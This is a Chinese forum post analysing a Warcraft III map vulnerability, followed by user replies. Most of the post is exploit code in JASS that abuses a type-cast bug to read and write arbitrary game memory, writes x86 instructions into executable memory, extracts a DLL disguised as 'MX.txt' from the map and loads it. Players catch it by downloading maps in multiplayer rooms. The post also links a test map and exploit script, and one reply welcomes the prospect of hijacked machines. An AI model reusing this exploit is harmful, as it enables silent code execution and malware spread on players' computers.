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[漏洞分析] 魔兽争霸3漏洞(传播+执行)

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你坏 发表于 2018-3-29 20:13
本帖最后由 你坏 于 2018-7-16 13:35 编辑

map.w3x
游戏地图文件,它是一个压缩包,里面打包了很多文件
war3map.j
地图触发文件,它被压缩在地图内,比如聊天触发事件
它会被转换成字节码,由虚拟机解释执行(jass语言和jassVM)
这里用它来调用外部脚本,当事件发生时

1.地图文件-打包(漏洞利用+恶意文件)
地图打包.png
2.创建房间-传播(玩家读图+远程下载)
3.进入游戏-中招(释放文件+加载文件)
4.查看进程
dllLoad.png

部分漏洞代码分析:
[C] 纯文本查看 复制代码
//war3map.j
function main takes nothing returns nothing
call StartMeleeAI(Player(12),"initrb")//调用外部脚本:initrb
endfunction

//initrb
function main takes nothing returns nothing
local integer gamedll
local integer i=0
local integer jassbuffer=0
         //初始化数据,根据魔兽版本,获取地址:war3.exe,Game.dll,JassVM,WinAPI,...
         //涉及的版本:1.28a,1.27b,1.27a,1.26,1.24b,1.24e
         call newInitMemoryArray()
         set MemoryAddr=GetMemoryArrayAddr()
        call StartThread( I2C(8 + C2I(function newUnlockMemory)))
        set i=ReadRealMemory(GetBytecodeAddress())
        set i=i - ReadRealMemory(i)
        if i == 2586768 then
                call newInit27a()
        elseif i == 5205600 then
                call newInit26()
        elseif i == 5276928 then
                call newInit24b()
        elseif i == 5276840 then
                call newInit24e()
        endif
//申请内存用于->写入汇编指令
set pReservedExecutableMemory2=AllocateExecutableMemory(1000)
//申请内存用于->保存字符串
set buffer[1]=AllocateExecutableMemory(100)
set buffer[2]=AllocateExecutableMemory(100)
set buffer[3]=AllocateExecutableMemory(100)
set buffer[4]=AllocateExecutableMemory(100)
//buffer[1]="MX.txt"
call WriteRealMemory(buffer[1],0x742E584D)
call WriteRealMemory(buffer[1]+4,0x00007478)
//检查模块是否加载
if GetModuleHandle(buffer[1])==0 then
        //获取文件属性 
        if GetFileAttributes(buffer[1])!= -1 then
                //删除文件
                if DeleteFile(buffer[1])!=0 then
                        //从地图导出文件 导出到War3.exe目录下
                        call ExportFileFromMpq(buffer[1] , buffer[1])
                endif
        else
                call ExportFileFromMpq(buffer[1] , buffer[1])
        endif
        //加载文件="MX.txt"(其实它是.dll)
        call LoadLibrary(buffer[1])
endif
//buffer[2]="InitRB"
call WriteRealMemory(buffer[2] + 0 , 0x74696e49)
call WriteRealMemory(buffer[2] + 4 , 0x00004252)
//从加载的模块中获取导出函数的地址:"InitRB"
set i=GetModuleProcAddress(buffer[1] , buffer[2])
//call InitRB
call CallStdcallWith1Args(i , 0)
endfunction

//初始化获取数据-1.24e版本
function newInit24e takes nothing returns nothing
local integer base=ReadRealMemory(GetBytecodeAddress()) - 0x9631B8
        //游戏模块地址
        set GameDLL=base
        set base=base / 4
        //应该是虚拟机环境地址
        set pJassEnvAddress=base + 0xAF16A8 / 4
        //函数地址:获取模块句柄,申请内存,获取函数地址,从地图中释放文件
        set pGetModuleHandle=base + 0x87F204 / 4
        set pVirtualAlloc=base + 0x87F134 / 4
        set pGetProcAddress=base + 0x87F2BC / 4
        set pExportFromMpq=GameDLL + 0x7386A0
        //
        set pMergeUnits=GameDLL + 0x2DDE40
        set pIgnoredUnits=GameDLL + 0x2DD9A0
        set pConvertUnits=GameDLL + 0x2DDE00
        //设置游戏版本
        set GameVersion=0x24e
endfunction

//数组类型转换
//查资料得知,当局部变量和全局变量同名时,会转换成局部变量
//全局变量是整形数组,转换成了整形,这里其实是把数组地址变成了0
//Memory[addr / 4]      假如地址为:8    0(Memory)+2(8/4)*4(IntType)
//能读写指定地址内存,就是这个类型转换的为核心因素
function TypeCastMemoryArray takes nothing returns nothing
    local integer Memory
endfunction

//读内存
function ReadRealMemory takes integer addr returns integer
        if addr / 4 * 4 != addr then
                return ReadRealMemory_FIX(addr)
        endif
        //内存地址是1字节为单位的,这个作者利用了4字节为单位的数组来读内存,所以代码才会那么奇怪
        //int array Memory
        //假设地址为:8               Memory[addr / 4]==Memory[2]     
        //假设Memory地址为:0    Memory[addr / 4]==0+2*4
        return Memory[addr / 4]
endfunction

//写内存
function WriteRealMemory takes integer addr,integer val returns nothing
        if addr / 4 * 4 != addr then
                //call BJDebugMsg("WriteMemory WARNING! : " + Int2Hex(addr) )
                call WriteRealMemory_FIX(addr , val)
        else
                //这里上面已经解释过了,作者利用这种方法来读写内存
                set Memory[addr / 4]=val
        endif
endfunction

//加载动态链接库
function LoadLibrary takes integer nDllName returns integer
        if pLoadLibraryA == 0 then
        call WriteRealMemory(buffer[2] + 0 , 0x6e72654b)//Kernel32.dll
        call WriteRealMemory(buffer[2] + 4 , 0x32336c65)
        call WriteRealMemory(buffer[2] + 8 , 0x6c6c642e)
        call WriteRealMemory(buffer[2] + 12 , 0x00000000)
        call WriteRealMemory(buffer[3] + 0 , 0x64616f4c)//LoadLibrary
        call WriteRealMemory(buffer[3] + 4 , 0x7262694c)
        call WriteRealMemory(buffer[3] + 8 , 0x41797261)
        call WriteRealMemory(buffer[3] + 12 , 0x00000000)
                set pLoadLibraryA=GetModuleProcAddress(buffer[2] , buffer[3])//GetModuleProcAddress(“Kernel32.dll”,"LoadLibrary")
        endif
        if pLoadLibraryA != 0 then
                return CallStdcallWith1Args(pLoadLibraryA , nDllName)//LoadLibrary(nDllName)
        endif
        
        return 0
endfunction

//函数调用
function CallStdcallWith1Args takes integer pFuncStdcallAddr,integer arg1 returns integer
//局部 整形  变量
local integer pOffset1
        call WriteRealMemory(pReservedExecutableMemory2 , 0x68C98B51)                    // push ecx. mov ecx,ecx
        call WriteRealMemory(pReservedExecutableMemory2 + 4 , arg1)                          // push arg1
        call WriteRealMemory(pReservedExecutableMemory2 + 8 , 0xB990C98B)             // mov ecx,ecx , nop
        call WriteRealMemory(pReservedExecutableMemory2 + 12 , pFuncStdcallAddr)   // mov ecx, pFuncStdcallAddr
        call WriteRealMemory(pReservedExecutableMemory2 + 16 , 0xC359D1FF)           // call ecx, pop ecx, ret

        if pIgnoredUnitsOffset == 0 then
                set pIgnoredUnitsOffset=CreateJassNativeHook(pIgnoredUnits , pReservedExecutableMemory2)
        else
                call WriteRealMemory(pIgnoredUnitsOffset , pReservedExecutableMemory2)
        endif
        
        set pOffset1=IgnoredUnits(0)
        call WriteRealMemory(pIgnoredUnitsOffset , pIgnoredUnits)
        return pOffset1
endfunction


文件:
测试地图.w3x(为了测试效果,加载模块代码我写成了聊天触发   进入游戏输入:-LS )
initrb(漏洞利用代码,用记事本可打开,)
链接: https://pan.baidu.com/s/1UcTdqhqHGvaLGgKNpMiYTg 密码: r2fa

作者:
DracpL1ch(俄国)   

涉及的版本:
1.28a,1.27b,1.27a,1.26,1.24b,1.24e

测试时间:2018.3
网易有赞助的地图基本都是利用这个漏洞代码实现收费道具功能,读取数据
非萝莉漏洞:萝莉漏洞是释放文件到开机启动,它不能读写内存,还要重启

更新时间:2018.7
有人说官方对战平台(网易)修复了,从地图作者在更新说明中,指定官方为唯一收费道具购买平台来看,某平台(和官方抢生意)应该是被和(cao)谐(fan)了



点评

坐等11平台翅膀以及imba奖励重置的破解  发表于 2018-3-30 11:09

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黑洛 + 1 你这个东西08年就研究出来了,最多在腾讯利用一下了,毫无价值。
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zhaotianrun 发表于 2018-3-29 21:42
我赛,又可以拿肉鸡了。。。
sky天翔 发表于 2018-4-2 14:33
这个漏洞称之为rb    通过强制转换数据类型读写内存,可以使魔兽变得更加强大,加载lua脚本等等,也可用于地图加密之类,目前已有关机加密,魔兽运行后会自检地图,如果地图被改动则会重启电脑,很强大的加密还能反调试,楼主可以出一篇调试dll的教程吗,官方对战平台的天剑录就是关机加密,期待
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小魔。 发表于 2018-3-29 20:20
笑哈哈123 发表于 2018-3-29 20:53
这个能用来干嘛的????
丶情兽小奴 发表于 2018-3-29 20:55
写外挂?
holiness 发表于 2018-3-29 21:16
emmmmmm,,我玩1.27a,能用到吗?
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萌神淼菥 发表于 2018-3-29 21:20
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rxxcy 发表于 2018-3-29 21:26
冰封王座?
Hunter123 发表于 2018-3-29 21:26
感谢分享
luoligongzhu233 发表于 2018-3-29 21:43
可以可以,支持一下
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